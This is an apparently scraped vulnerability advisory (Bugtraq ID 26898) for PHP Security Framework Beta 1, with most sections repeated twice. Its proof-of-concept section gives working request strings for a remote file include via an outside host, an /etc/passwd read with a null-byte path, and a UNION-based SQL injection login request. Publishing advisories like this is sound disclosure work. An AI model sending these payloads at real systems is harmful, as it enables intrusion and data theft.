PHP Security Framework Multiple Input Validation Vulnerabilities
BID:26898
Info
PHP Security Framework Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 26898 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 17 2007 12:00AM |
| Updated: | Dec 18 2007 03:21AM |
| Credit: | DarkFig is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Benjamin Mosse PHP Security Framework Beta 1 |
| Not Vulnerable: | |
Discussion
PHP Security Framework Multiple Input Validation Vulnerabilities
PHP Security Framework is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and remote file-include issues.
A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Security Framework Beta 1 is vulnerable; other versions may also be affected.
PHP Security Framework is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and remote file-include issues.
A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Security Framework Beta 1 is vulnerable; other versions may also be affected.
Exploit / POC
PHP Security Framework Multiple Input Validation Vulnerabilities
An attacker can use a browser to exploit these issues.
The following proofs of concept are available:
http://www.example.com/PSF/lib/base.inc.php?MODEL_DIR=http://www.example2.com/
http://www.example.com/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00
POST http://www.example.com/PSF/index.php?page=authentification HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: <SIZE>\r\n\r\n
username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29%2CCHR%2857%29+FROM+psf_administrator-----------&password=9&page=authentification&button=Log+in\r\n\r\n
SQL-query: select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administrator-----------'
An attacker can use a browser to exploit these issues.
The following proofs of concept are available:
http://www.example.com/PSF/lib/base.inc.php?MODEL_DIR=http://www.example2.com/
http://www.example.com/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00
POST http://www.example.com/PSF/index.php?page=authentification HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: <SIZE>\r\n\r\n
username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29%2CCHR%2857%29+FROM+psf_administrator-----------&password=9&page=authentification&button=Log+in\r\n\r\n
SQL-query: select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administrator-----------'
Solution / Fix
PHP Security Framework Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP Security Framework Multiple Input Validation Vulnerabilities
References:
References: